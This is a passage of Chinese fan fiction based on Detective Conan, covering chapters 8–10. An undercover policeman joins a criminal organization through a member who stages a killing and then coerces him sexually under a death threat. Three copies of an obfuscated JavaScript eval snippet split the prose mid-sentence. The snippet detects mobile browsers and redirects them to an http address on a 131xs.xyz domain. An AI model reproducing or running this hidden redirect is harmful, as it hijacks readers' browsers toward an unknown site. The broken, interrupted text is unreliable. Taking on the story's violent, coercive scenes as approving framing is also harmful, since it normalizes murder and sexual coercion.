每一帧都在演戏,每一个神情都恰到好处。这不是勾引,只是用得好就可以引起一些群体的怜悯和好奇,以便进一步的发展后续。虽然原本针对的对象出现了一点问题,但换成密斯卡岱,似乎一样能用这个套路。 降谷零半开玩笑地说:“如果是的话你能给我这些吗?” “不能,因为我没钱。”北百川一张口就来,他确实没钱,身上贵的东西要么是组织公费报销,要么是做任务的时候顺的,他一个普普通通大学生,怎么会有钱。 “而且,我们只是第一次见面的关系……”北百川一意味深长,简直是在明示。 降谷零没说话,北百川一也不急。既然zero在看见他的代号后没有走掉,那就说明已经把他放在了考虑范围内。 如果zero要选择这种方式进入组织,那当然只能选他。 降谷零在犹豫。这一次计划在密斯卡岱出现的时候,就像脱缰的野马一样拉不回正轨了。 在原本的计划中,他的目标是一位组织外围成员,在组织中地位不高,但警惕心弱,也更加有可能主动接触他,不容易引起怀疑。他可以接着这个机会一点点深入组织。 但现在……密斯卡岱一出现,几乎就把“我是组织代号成员”这几个字挂在了脸上。降谷零感到头疼。他们在制定计划的时候完全没想过一上来就接触代号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612189|172168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成员啊。但现在是代号成员主动说:嘿,我想睡你你有什么想要的吗? 有一种可能,对方发现了他的不对劲,所以有意试探。而另一种可能是对方真的只是单纯被他吸引,想包.养。 降谷零决定赌一把,赌是后者。听闻组织向来宁可错杀也不放过,如果猜到他是卧底,密斯卡岱可以把他解决,完全没有必要说这些过于暧昧的话。 降谷零有了决定。在短暂的接触中,他感觉密斯卡岱比起兜圈子说话,似乎更喜欢直白的表达,所以他直直地看向密斯卡岱:“我听说过一个组织,里面重要成员都喜欢以酒名作为代号,你是这个组织里面的人吗?” “我还以为我表现得挺明显。”北百川一注视着这双紫灰色的眼眸,很想问降谷零知不知道他的眼睛很好看。尤其在这种时候,带着点毅然决然,像是下了很大的决心。 降谷零知道自己可能没完全控制好情绪,但他的反应落在现在的人设上也是合理的。所以他不躲也不闪,就在密斯卡岱审视的目光中,问:“那我可以进你们组织吗?” 密斯卡岱看了他很久,也可能是在这种氛围里时间被拖得漫长。可能是数分钟,也可能只是几秒,降谷零终于听到密斯卡岱说:“好啊。来做我男朋友吧。” “?”降谷零感觉自己一辈子都跟不上北百川一跳跃的思路。虽然能懂,但话题跳得太快。 北百川一笑了起来,他朝降谷零伸出手,降谷零不明所以,犹豫了一下觉得是在朝他要那枚胸针,于是摊开了手。 好乖。北百川一心想。他从降谷零手里拿起那枚胸针,上前一步,认真挑选了一个合适的位置,帮降谷零把银色的胸针别了上去。 降谷零没想到他一声招呼都不打就贴了上来,两人挨得很近,他能感觉到北百川一修长的手指拨弄着胸针,落在他的心脏附近。他低下头,看见北百川一的手修长、骨节分明,正在帮他把胸针扣上。 降谷零微微走神,放空了两秒,忽然想到这样说不定可以采集到指纹。但他还没来得及高兴,就见北百川一拿出手帕擦了擦胸针。 无色的钻石被擦得干干净净,在昏暗的环境下也反射出耀眼的光,别在黑色的西装上是画龙点睛。北百川一后退,满意地打量着,说:“和你很搭。” 这下没指纹了。降谷零感到遗憾。 降谷零低头看了看胸针,确实很好看,他却没有心思欣赏,他低声问:“您的意思是?” 北百川一注意到他这一次开口时别有用心地换了称呼,勾起嘴角。他还是忍不住伸出了手,亲昵地摸了一下降谷零的金发,轻快地说:“今天晚上来找我吧,让我看看你适不适合进组织。” 降谷零没有躲开他的手,温顺地被他弄乱了一点头发,这让北百川一更是高兴了。 降谷零轻轻咬唇,没有拒绝,他谨慎地问:“我需要做什么准备吗?”他已经做好为任务牺身的准备了,决定等下就回去补一下这一块的知识。 “啊,不需要。换一套便于行动的衣服来就好,其他的我会教你。”北百川一这么说。他沉浸在zero没有拒绝亲近的喜悦中,以至于完全没察觉自己说的话多让人会错意。 8. 第 8 章 当天晚上,十一点。 降谷零看着门上的数字,1024,他应该没有走错。 他相信自己的眼力和记忆力,知道这里就是密斯卡岱暂住的地方,不可能有错。 但他在门口站了足足有一分钟,几次拿出手机核对自己会不会走错了酒店。 降谷零在心里叹气,这是他在答应密斯卡岱的邀请后第二十一次叹气。他不得不承认,在答应上级使用这种方式进入组织时,他还是高看了自己的勇气。 降谷零知道自己不能继续浪费时间,虽然说密斯卡岱并没有规定他要几点钟到,但他觉得最好不要让对方等太久。 他最后检查了一遍。他没有刻意去准备,一方面是因为密斯卡岱说不需要,一方面也是因为他心底的抗拒——把自己收拾得干干净净,然后像个礼物一样送到别人手里,这种感觉他很不喜欢。 他甚至连衣服都没有换,心想说不定密斯卡岱会因为这个放弃一些念头。他还是想挣扎一下,想循序渐进。 他终于抬起手,敲了敲房门。 房间的隔音应该很好,他没有听到密斯卡岱的脚步声。等了十五秒左右,房门被拉开,密斯卡岱出现在他面前。 降谷零先看到的是密斯卡岱赤着踩在地上的脚,然后是懒散地裹在身上的浴袍,再往上是那张白天就见过的脸,还有正在滴水的黑发。 这真的是他的易容吗?原来还能防水。或许是因为他过于紧张,不然为什么大脑里第一个闪过的想法是这个。 他很快意识到密斯卡岱刚洗完澡。也就是说……他今晚似乎逃不过了。降谷零咬了下唇,跟在北百川一身后走进房间。 北百川一胡乱擦了两把头发,把毛巾挂在脖子上,他散开一点浴袍,从腰侧抽出枪,然后扭头问降谷零:“你杀过人吗?” 降谷零完全没想到在解开浴袍后面跟着的动作会是抽出枪,他张了张嘴,原本要说的话被打断,他忽然感觉今天晚上会发生的事可能和他想的不太一样。 “……没有。”降谷零回答。他开始庆幸自己什么准备也没做。绝对不能让密斯卡岱知道他误会了什么。他几乎有几分恼羞成怒,觉得这全怪对方说话过于暧昧。 原本悬挂的心突然落地,又被重新吊起。如果不是他想的那样,那会是什么?北百川一为什么会问出这种问题? 北百川一并不意外降谷零的回答,他摊开手,调转枪的方向,枪托朝向降谷零,示意他过来:“我调查了你,知道你会用枪。” 降谷零上前一步,握住了这把枪。他很少会带着迟疑握枪,因为在过去,每一次开枪他都知道自己是为了什么。但现在却是一片未知。 “等等。”北百川一忽然叫住了他。 降谷零刚握紧枪,突然被北百川一反手抓住手腕,他心一紧,看向北百川一,在对方眼里捕捉到惊讶。 北百川一握住降谷零的手腕,走上前一步,他仔细嗅了嗅,很快确认他没有闻错。 zero身上有一种很香的味道。像是莓果和玫瑰混合,后调转入很淡的威士忌酒香。北百川一眯了眯眼,指出:“你喷了香水啊。” 在白天见面的时候,zero身上可没有这种味道。所以说是专门为今晚准备的吗? 北百川一敏锐地捕捉到了那双紫灰色眼睛里极快闪过的羞恼,他若有所思,很快明白了一切。看来是自己那个时候说的话太让人误会了。他嘴角的弧度拉大,眼里不自觉地带上了笑意:“安室先生很用心了。” 其实比起称呼安室先生,他更想直接叫zero。但是这样可能会把对方吓坏吧。北百川一遗憾地放弃了这个打算。 降谷零几乎要忘记面前的人是他的任务目标了,他现在只感觉到了窘迫,只想甩开北百川一的手否认,说自己什么都没想。 但现在说已经晚了,简直是此地无银三百两。降谷零试图把话题移开:“您给我枪是想要我做什么吗?” “晚点再说这个吧。”北百川一说。 他抽走降谷零手里的枪,随手放在一边,另一只手落在降谷零的黑色领带上。 领带很轻松地被拽了下来,降谷零听见自己的呼吸声变得有些急促,他下意识抬手,想要阻止北百川一的动作,却在北百川一似笑非笑的神情下挫败地松了力气,只是虚虚地搭在北百川一的手臂上。 北百川一帮他解下领带。他能感觉到zero的心脏在紧张地跳动,炙热的呼吸又轻又重地蹭过他的心口,他轻笑着用领带蒙住了降谷零的眼睛,把他推到了墙边。 视觉被剥夺,带来更多的不安和紧张,以及更加敏感的其他感官。 降谷零屏住呼吸等待着密斯卡岱下一个动作,却是先听见易容脸被撕下的声音响起,才明白为什么密斯卡岱要遮住他的视线。 他没忘记自己来这里是做什么的,刚准备抬手扯开领带,想看清密斯卡岱的真容,就感觉到热源靠近,柔软的唇落下,轻得发痒。 有冰凉的水珠落进他的脖子里,密斯卡岱的头发和人都蹭了过来。他的动作轻得不可思议,像是对待易碎的物品。降谷零意外地发现他没有想象中那么反感。 很快,亲吻就变得黏人又亲密,北百川一好不容易才放过他的唇,又转向脸,一路往下,咬在他的脖颈上,充满占有欲地留下自己的痕迹。 降谷零轻.喘,他并没有被迷惑得意乱情迷,自认为还算清醒,还记得自己现在的身份,因此挣扎半天,犹豫地伸出手想要去触碰北百川一。 还没等他碰到,就被北百川一抓住。 北百川一握住他的手,放在嘴边亲昵地啃了一下,退开了,懒洋洋的,像吃饱喝足的狮子:“现在不是时候。” 北百川一把脖子上的毛巾拎起,顶在脑袋上遮住自己的脸,转身朝浴室走去,一边说:“等下和我出去一趟,带上那把枪。” 降谷零扯下领带,只看见北百川一顶着毛巾消失在浴室的背影。 他下意识看了眼自己什么也没碰到的手,心里有了个很大胆的想法。有没有可能密斯卡岱不行?不然怎么会无动于衷还推开了他的手。 这对他来说是个好消息。 他握紧那把枪,站到镜子面前打量了一下自己。降谷零在镜子前看了两秒,匆匆移开视线,他面无表情地搓了搓红肿的嘴唇,决定就当自己被狗咬了。 北百川一进了浴室就没出来,降谷零在想他可能是去折腾易容脸了。他没明白为什么对方要多此一举撕下易容,不过借这个机会他正好可以在房间里看看。 降谷零担心房间里有监控,因此只是目光在房间里扫过,没有轻易走动。 房间里很整洁,床上没有人睡过的痕迹,看起来密斯卡岱也只是今天才到这里。床边有一个二十八寸的行李箱,被打开过,箱子的拉链只拉起来一半。说明里面的东西不重要,又或许是拉上的时候太匆忙,只来得及拉一半。 降谷零把视线移开。现在并不是适合偷看的时间。 除了行李箱外,床头还有一个加长的网球包。网球包很干净,似乎没有使用过的痕迹,安静地被放在距离床最近的地方。 降谷零的视线在网球包上面停了一会儿,他迅速地在心里对比,意识到这个长度似乎正好能够装下一把长刀。 密斯卡岱比表现出来得更加警惕。穿着浴袍也要贴身带枪,还把疑似装有长刀的网球包放在一伸手就能够碰到的地方。不知道他的浴室里会不会也摆着武器。降谷零心想。 他看了眼手中的枪,西格绍尔P320,完全左右手通用的一款手.枪,改造痕迹明显,有些组件市面上很少见。弹匣是满的,他掂量了一下,里面应该有二十一发子弹。或许是密斯卡岱的惯用枪,不过不能这么早下结论。 降谷零思考的时候时间已经过去有一会儿了,他听见浴室里的水声停了下来,浴室门很快被推开,“全副武装”的密斯卡岱走了出来。 ……大晚上在室内戴口罩和墨镜是有什么心事吗?降谷零没能控制住,抽了抽嘴角。 而且为什么这样的装扮下穿着的还是浴袍?他里面穿好裤子了吗? 在略微感到无语的同时他也意识到,密斯卡岱的脸似乎是什么很重要的秘密,不管是在送别会这种很多人的场合,还是在他面前,对方都不遗余力想要隐瞒长相。 北百川一就像知道他在想什么一样,摊手:“我不会易容,本来想着今晚结束后再撕下那张脸的,现在提前撕了,也没人给我补,所以只能这样。” “您看得清吗?”降谷零有一点怀疑。 “没事,不摔就行,今晚的行动以你为主。”北百川一这么说。他的声音还是那样随意。 降谷零站直了身体,他握紧枪,问:“您需要我做什么?” “做一点你可能会高兴的事。”北百川一观察着降谷零的神色,“有安太郎的几个义子上了我们的暗杀名单,你讨厌的那位也在其中,我们去先把他处理掉吧。” 降谷零给出合适的反应:“我……我可以吗?” 北百川一看着他表演,评了一个十分。如果不是他知道对方是警察出身,不然真的会以为对方是一个游走在灰色地带,对违法犯罪和手刃仇人跃跃欲试的三流侦探。 “走吧。”北百川一墨镜下的眸色加深。第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612190|172168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次杀人可不是那么容易的啊。希望等一下的zero不会让他失望。 如果让他失望,他可是会很不高兴的。北百川一按下了电梯按钮,左手插进口袋的时候摸了下口袋里的枪管。 ------- 31层,电梯门打开,北百川一和降谷零从里面走了出来。 “这里有监控。”降谷零看了眼走廊里对准电梯口的摄像头,开口说。 “没事,已经被破坏了。”北百川一悠闲地走着,双手插兜,简直像在散步,他在一间房间门口停下,看向降谷零,说道,“你的目标就在里面。算是一个组织入门小测试吧,等下你只需要开枪就好,房间隔音很好的。” “只需要把人解决对吗?”降谷零确认,“什么也不需要问?里面有几个人?只有他一个吗?他手里有什么武器?” “很细心嘛。只有他一个,可能没武器吧,进去再说~”北百川一一边说着,一边已经开始敲门了。 “咚咚咚、咚”北百川一很恶劣地敲了四下,作为一个小小的预警。 可惜房间内的人没有收到这个预警信号,里面的人不耐烦地拉开门:“谁啊?” 或许是北百川一白色的浴袍让他一时没有反应过来,那人愣了一下,抬头才看见北百川一古怪的墨镜和黑色口罩。 “让一让,FBI warning。”北百川一说,他一只脚插进门缝,以蛮力把门推开,把人挤开,就这么大摇大摆地走了进去。 “喂!你什么意思?” 北百川一一点理他的意思都没有,他走进房间,环视了一圈确认只有一个人,于是找了个张椅子坐下,对降谷零扬了下下巴:“你可以开始了。” 降谷零早就跟在他身后走进了房间,他的枪稳稳地对准任务目标,这也是为什么这人突然就没了声。 “你……你们是……”有安太郎的这名义子显然是知道一些什么的,在触及降谷零一身漆黑的时候如当头一棒,惊慌失措地就想要往外逃。 降谷零一脚把门踢上,他单手举枪,冷眼看着一屁股坐在地上开始不断求饶的男人。 “还记得我吗?”他这么问着,上前一步粗鲁地拽着男人的头发把他提了起来。 他用了七成的力,男人发出一声惨叫,刚想说话就被他用枪抵住了脑袋,若有若无的杀意吓得男人眼泪鼻涕一块流,什么都不知道说了,只会一个劲重复求饶的话。 降谷零知道这是他杀死这人的最好时间。他这个身份确实见过男人,也确实得罪过对方,但那个时候在用这个身份的并不是他本人,近距离接触下,如果这人没有被吓得要晕倒,是很有可能意识到不对的。 他应该在对方反应过来之前迅速把人解决了。 况且这人本身也不是什么好东西,罪恶多端,早就上了公安的黑名单,上级也说过,必要的时候他可以把人处理掉。 但是…… 降谷零握着枪的手在微不可察地颤抖。但是杀人从来不是一件容易的事,他在第一次拿起枪的时候,没有想过自己的枪会先对准活生生的生命。 北百川一坐在椅子上,手撑着脑袋,身体微微前倾,饶有兴致地看着这一幕。 看吧,他就说,杀人可是一件很难的事情。北百川一从口袋里摸出自己的枪。 强迫zero杀人并不是他想要的,他只是想亲眼看看zero有多善良,明知道对方恶贯满盈,也会忍不住心软。就像那个时候,明知道救他会牵扯自己,也还是朝他扑了过来。 他喜欢善良的,有人性的人——可能因为他自己没有。 他决定帮zero一把。坏人暂时还是让他来做吧。zero毕竟是两年后才拿到波本这个代号的,现在可能还是稍微早了一点。 北百川一举起枪,对准目标的脑袋,扣下了扳机。 “砰——” 两声几乎重叠在一起的枪声响起,分不清前后,一颗刺进心脏,一颗穿进头骨。 撕心裂肺的求饶声消失了。降谷零站起身,枪口还飘着的硝烟,他在开枪的时候后退了,但脸上和身上还是难免沾到了鲜血。 他低垂眼眸,随意地用已经弄脏的西装擦去枪上的鲜血,走到北百川一把枪还给他,平静地问:“我的测试通过了吗?” 哪有什么测试。 北百川一知道自己很矛盾,他想要人善良,又想让人心狠手辣,不喜欢软蛋,但太凶残他也讨厌。 北百川一口罩下的嘴角上扬,他站起身,伸手帮降谷零擦去脸上的血迹,忽然说:“我好像真的有点喜欢你了。” zero这种就很好。 9. 第 9 章 降谷零在越过那具尸体离开房间前,他的手还在轻微发抖。 但在离开隔音极好的房间,关上房门那一刻的时候,他诡异地恢复了平静。 他从门缝中最后看了一眼那具尸体,没有表情地关上了门。 他知道这是第一次,却不会是最后一次。 房间里的痕迹是北百川一处理的,他做惯了这种事,这一次更加认真些,因为是在帮降谷零处理指纹。至于他自己,他一直戴着手套——穿着浴袍戴黑色手套是有点奇怪。他浑身的打扮都很奇怪,也不差这么一点。 反正他现在没露脸。北百川一心想。他走进电梯,按了顶楼的按键,有些苦恼等下在泳池时,怎样才能做到遮住脸的同时又能玩点什么。 早知道就不把那张易容脸撕掉了。但不撕掉他又不想顶着那张丑脸亲zero。现在把贝尔摩德叫过来补脸还来得及吗?算了,现在让贝尔摩德知道zero的存在还是太早了。 至于贝尔摩德的意愿,他完全没考虑过。这不重要。 “我们现在去哪?”降谷零问。 “顶楼有个泳池。”北百川一说,他看了眼降谷零身上沾到的鲜血,说,“你身上的血迹太明显了,需要处理一下。” 降谷零能理解去顶楼可能是为了烧衣服,但为什么密斯卡岱需要强调一下泳池? 很快他就知道答案了。 密斯卡岱欢快地甩开浴袍跳进了泳池,就好像他们是来度假一样。降谷零沉默两秒,决定不进行评价。 降谷零用了点办法把顶楼的门破坏,防止其他人在不合时宜的时候闯进来。 北百川一眼里也不是完全没有正事,他在泳池里游了一圈,就趴在泳池边看着降谷零忙活,看他用打火机点了半天都没点燃火,才告诉他:“你找一找,角落里我放了有打火棒,那个更好用。” 降谷零看了他一眼,北百川一猜测眼神里应该带着无语,但他还戴着墨镜,在昏暗的顶楼更是看不清。 打火棒的效率要快多了,降谷零脱去西装外套,扔进火里。 顶楼风大,黑色的烟从燃烧的衣服上飘起,跳跃的火星吞噬血的痕迹,带着难闻的味道迅速远离,降谷零坐在火堆边,明明灭灭的火光倒映在他眼中,他抛去那些杂乱的思绪,开始思考着接下来要怎么做。 密斯卡岱和他想的不太一样,也和他原本的任务目标完全不同,他的计划需要调整。白天的时间太短,又担心密斯卡岱会让人盯着他,他没有时间和上级商量细节。 比起单纯的情人或者是一夜.情对象,密斯卡岱更像是要和他维持长期的关系。从密斯卡岱一些表现来看,对方感兴趣的似乎并不是那种完全听话乖顺的类型。 在他处理完任务目标,站到密斯卡岱面前时,密斯卡岱身上的兴奋和激动几乎要抑制不住地朝他扑来。 风忽然转向,把衣服焚烧留下的烟熏向降谷零,他眯起眼,无端想起那个时候两人在房间里交换的吻。他觉得自己可以试着在这段关系中找到一点主动权。 既然是做任务,就要更好地去完成。 降谷零这么想着,听见密斯卡岱在叫他。 “透君——”密斯卡岱叫的是他这个身份的名字,还用着很正式的称呼,降谷零有点不习惯,他走过去,低头看向靠在泳池边上的密斯卡岱。 北百川一拍了拍泳池边沿,示意他坐下。 降谷零看了眼自己的穿着,他只是烧去了西装外套,其他衣服都还好好地穿在身上,这么一身衣服一点也不适合下水。 他犹豫了一下,在北百川一期待的目光中,脱去皮鞋,把腿放进水里。 冰凉的水涌进裤腿,身上在火堆旁染上的燥意却不减反增,降谷零看向北百川一,主动问:“您是有什么话想对我说吗?” “是也不是。”北百川一说,他手撑在泳池边,托着脑袋看着降谷零,说,“只是看见你一个人在那里坐着,似乎心情不是很好,感觉你需要一个aftercare.” after care是这么这么用的吗?降谷零扬了下眉。 北百川一很喜欢看到他脸上生动的表情,他笑了,笑声在口罩后闷闷的,他解释:“大概是这个意思,你意会就好。我给你讲讲我的事吧,你想听什么?” 我想听什么?我当然是想知道我什么时候可以真正进入组织拿到代号,接近更核心的秘密,想知道你们组织最近有没有谋划什么大事,想知道你藏着掩着外表是不是因为本身的脸有大秘密。 降谷零脑海里飞速闪过很多疑问,他想知道的事情可太多了,不然也不会接下潜入组织这个任务。 只是降谷零知道,自己能问的,密斯卡岱有可能回答的,也就那几个。 所以他只是又问了一遍北百川一刚才没有回答的问题:“我算通过测试了吗?” “当然,这种事情只要我一句话就行了。”北百川一说。 看来密斯卡岱在组织里的地位不低,不过也可能只是组织对外围成员并不重视。降谷零判断着,问出了第二个问题:“我可以知道你第一次杀人是什么时候吗?” 他没有立刻得到北百川一的回答,在他以为密斯卡岱不会回答这个问题的时候,他却听见密斯卡岱很是高兴的声音:“透问的问题,正好是我想要讲给透听的。” 问对了,降谷零想。 北百川一猜,zero不是真的对他的经历有兴趣,有可能只是想从他的话中找到一些线索。他不在意,他本来就打算引导降谷零去查一些事情。 他作出回忆的姿态,说:“那是很久之前的事。我是不是说过我是有安太郎的学生?既然你知道组织的存在,那你肯定知道,我们这群学生实际上是归组织管的。” 降谷零暗暗记下这一点。公安之前只是这么怀疑,却没有切实的证据。现在回去后,他们可以具体查一查有安太郎的学生都有哪些,说不定能够顺藤摸瓜发现一些组织成员的明面身份。 北百川一没有过多地去阐述具体的过程,更多地是在说自己被迫动手,描述他那个时候如果不杀了别人,就会被别人杀掉,他是正当防卫,原本不想动手,奈何对方咬死不放,所以他非常痛苦、非常难过地反击了。 降谷零对这段描述保留怀疑,因为他并没有从北百川一身上感受到对方所说的“痛苦”或者是“难过”,北百川一的讲述很平淡,就像不是在说自己的事。 “我是不是忘了说,那个时候是八年前,我才十四岁。”北百川一以这句话结尾。 十四岁?降谷零眼里闪过意外,紧接着是他自己都没意识的愤怒在心底腾起。 这种怒意无关密斯卡岱,只是纯粹对准组织。 他想起有安太郎的资料中,确实是写着对方在数十年前收养了一批孩童。他原以为不管怎样,这一类残酷的训练都是发生在那群孩子成年后,没想到居然是在他们还没有成年的时候就开始了吗? 他忽然又感觉密斯卡岱说的“痛苦”可能是真的。现在密斯卡岱杀人时肯定不会有多余的情绪,但如果换成是十四岁的少年第一次动手……他蹙了蹙眉,更加觉得组织罪恶多端。 北百川一打量着他变换的神色,被口罩遮挡的脸上露出得逞的神色。 zero还是太善良了,会下意识认为,一个十四岁的少年在做这种事情时肯定会有很大的情绪波动,相信了他的话,却不知道有些人天生就是坏种。 “反社会型人格障碍?”母亲疑惑的声音从门里边传来,接着是医生的声音,肯定了这个词。 “是的。这是我们经过综合分析评定出来的结果,不过这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612191|172168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”医生的声音变小,因为北百川一走远了。 北百川一只觉得无趣。 那个时候也是,原本约定一起逃离的人出卖他,还想要杀了他对组织表示诚意。刀毫无征兆地朝他心脏刺来,但他的反应更快,以绝对的力量和速度让对方所有的幻想破灭。那个时候他没有被背叛的愤怒,也没有手染鲜血的痛苦,他只是觉得无趣。 他知道正常人只会厌恶他这种存在,所以在为zero讲述时,他稍稍加上了一点修饰。 果然还是未成年的身份更容易让人同情啊。如果是十四岁的他来攻略zero,一定会很快成功吧。北百川一心想。 不过十四岁的话,很多事情就不适合做了。 “不说这个了。”北百川一把这件事带过。他不需要降谷零的回应,他只需要降谷零记住这件事,然后私底下偷偷查一查就好。如果zero真的有本事顺着他给出的信息查到一些组织的事情,那他将会不动声色地提供一些支持。 泳池边又陷入了安静,降谷零忽然意识到密斯卡岱不知是有意还是无意的,透露了自己的年龄。 八年前是十四岁,也就是说,对方和他一样大? 降谷零很是意外。他的目光落在密斯卡岱的脸上,试图透过严严实实的口罩和墨镜,去想象对方的脸。 北百川一歪头看着他:“怎么,你不相信吗?” “因为我没有见过你的脸,有一点好奇。”降谷零笑着说,他知道自己怎样笑可以很吸引人。 乌云散去露出皎洁的月,光落在密斯卡岱的脸上,却依旧看不出他的想法,密斯卡岱反问:“那你想看吗?” 这句话有点熟悉,好像就在前不久密斯卡岱也这么问过他。不过这一次,降谷零扬起笑,语气又轻又飘,像挠在人心尖:“当然,或许在看到脸后,我们可以……睡得更合拍。” 他这么说着,试探地伸出手,发现北百川一并没有阻止的意思,更加大胆,手指落在了黑色口罩的一边,像揭开面具的一角,慢慢扯开。 就在降谷零不自觉屏住呼吸,以为能够看清密斯卡岱样子的那一刻,北百川一猛地抓住他的手往后一拽。 “噗通——” 降谷零猝不及防,整个人被北百川一拽进了水池。 连乌云也在配合北百川一,重新遮去了月的半张脸,北百川一抱着降谷零的腰把他带进水中,他摘去墨镜,至于口罩早就在两人落水的时候被晃动的水卷走了。 但降谷零什么也没看见。光线昏暗,水流涌动,他猝然进水,毫无准备,眼睛本能地闭上。 北百川一露出狡黠的笑,搂住降谷零的腰凑近,在水中咬上了他的唇。 水在吻中流动,北百川一盯着降谷零颤抖的睫毛看,在他将要睁开眼的时候才念念不舍地松开,拽住降谷零的后领子,蹬了一脚泳池底,让两人浮上水面。 一系列的动作全是降谷零没想到的,他刚适应过来,就被下一个动作勒住脖颈,呛到了水。 “咳咳咳咳!”他剧烈地咳嗽,等恢复过来时已经被北百川一反过来按在了泳池边,他什么也没来得及看见,恼火地在心里骂密斯卡岱恶趣味。 “嘶……”疼痛打断了他心里的腹诽。 北百川一在用力地咬着他的后颈,像野兽进行交.媾行为的前奏,牙齿微微嵌入皮肉,一只手在前卡着他的脖子,力道不重,但足够阻止他回头。 密斯卡岱的另一只手落在腰间摩擦,温度透过被打湿的衣服几乎要烫伤降谷零。 然而更糟糕更滚烫的是紧贴在降谷零身上的另一件东西。降谷零僵住,感受到北百川一终于放过了他的后颈,接着却分开了他的腿。 吻落在他的颈椎上又离开,北百川一笑眯眯地警告他:“别乱动,不然……弄死你。” 10. 第 10 章 窗帘并未被拉严实,光线从缝隙中照进了昏暗的房间,落在青年小麦色的皮肤上。 光线随着太阳移动,顺露出一点的腰窝慢慢往上爬,最后停在留着牙.印和吻.痕的脖颈处。降谷零睡得不是很安稳,梦里都好像在被凶兽追逐,他没能逃走,被咬住后.颈,衣.服被撕.扯,从头到尾被毫不客气地蹂.躏。 “好喜欢zero……” 降谷零猛地惊醒,从梦境中抽离,意识逐渐回笼,他缓缓吐出一口气。那只是在做梦,这里不会有人叫他zero。 意识清醒后,身体也跟着苏醒,大腿酸软,内.侧的肉像被擦.破皮了一般火辣辣地疼,降谷零翻了个身看着天花板,磨了磨后牙槽。 密斯卡岱这个家伙! 他们昨天并没有做到最后,按照密斯卡岱的谴责,那就是:“你什么都没带来,没有工具,我可舍不得做到最后一步呀。” 但密斯卡岱还说:“但是安室先生太吸引人了,所以……借我用用嘛。” 密斯卡岱非常礼貌文雅地这么说,实际上他完全没有资格拒绝。水流因为密斯卡岱的动作翻滚,却因为密斯卡岱的粗.鲁,丝毫没有起到减少摩.擦的作用。 他像物品一样被使用,累得筋疲力尽,最后还要自己走回来——他倒不是对这一点有意见。 只是密斯卡岱用完就扔,拒绝被看见面孔的心思太明显,让他很是恼火,没想到都这样了还能错过看见密斯卡岱真面目的机会。 降谷零坐了起来,意外地看见床边放着一套崭新的衣物。 密斯卡岱什么时候来过?降谷零眸色微沉。是因为昨晚太累了吗,他居然没有听见任何动静。 他收拾好自己,穿戴整齐,照了照镜子。密斯卡岱给他准备的新衣服同样是衬衫和西裤,不过外搭给他配的是黑色的风衣,还有一条围巾。 很显然围巾是给他掩盖吻.痕的。降谷零对着镜子把痕迹藏好,忽然有一种很微妙的被包养的感觉。 “……”哪里不对,他的任务明明应该是通过出.卖.色.相获取情报从而潜入组织。 降谷零摸了下口袋,发现衣服口袋里有东西,是一张纸条。 上面写着:下次见,ZERO~ 降谷零瞳孔收缩,平整的纸条一瞬在他手里变得皱巴。心脏跳动的声音如雷振响、如雨密集。 为什么密斯卡岱会知道他的绰号? --------- 北百川一正在进行毕业旅行。大概是因为工作之后就很难再有机会出门玩,所以大家不约而同地选择了比较远的行程。 挪威,特罗姆瑟。 在看见同学决定好这个地点时,北百川一有点想笑。 因为他不久之前才把萩原研二送去挪威。送过去之后他没怎么联系过对方,只交代了一些手下关注,知道对方能力不错,现在过得还可以。 所以这一次,他把萩原研二叫了出来。 北百川一打开很久没用过的好感值系统,点开萩原看了眼,发现好感显示还是一个很大的“负”字。 他又点开降谷零的,嗯……果不其然现在也变成“负”了。就算是北百川一这个身份狂刷好感,也没能把密斯卡岱的好感拉正吗?北百川一撇嘴。 在那天结束后,他留下一张纸条就离开了,电话号码都没有给zero留一个。现在他想起来未免还是有点心虚。 那是他大晚上不睡觉,深思熟虑后作的决定。 他一开始并不打算这么早把zero暴露在组织的视线下,想以北百川一的身份先接近。只是没想到两人会在有安太郎的送别会上遇见,zero又在做一些让他失去理智的事情,他一时没把控住,做了一点出格的事。 冷静下来后他也不算后悔,本想着直接玩消失,又担心zero找不到他,去通过别人进入组织。于是他决定吓一吓人,留下了一张戳穿对方身份的纸条。 这样的话,短时间以内,zero不会再想着进组织的事了。就算之后想要进组织,也只能通过他这条路。他这段时间也并非不能和zero接触,只是需要换一个身份,以另一种形式。 “北百川!”远处有同学在叫他,北百川一走过去,看见是社团的成员聚在一起,喊他过去拍照。 他和大学同学的关系不算好也不算差,和社团成员的关系稍微好一些,表现得就像正常的大学生。这一次也是他们一个社团五个人一起出来玩的。 北百川一对这种活动没有特别大的兴趣,会参加不过是组织正好给了他任务,就在这次旅途的游轮上。 说起来……北百川一对镜头露出假笑时忽然意识到一件事。 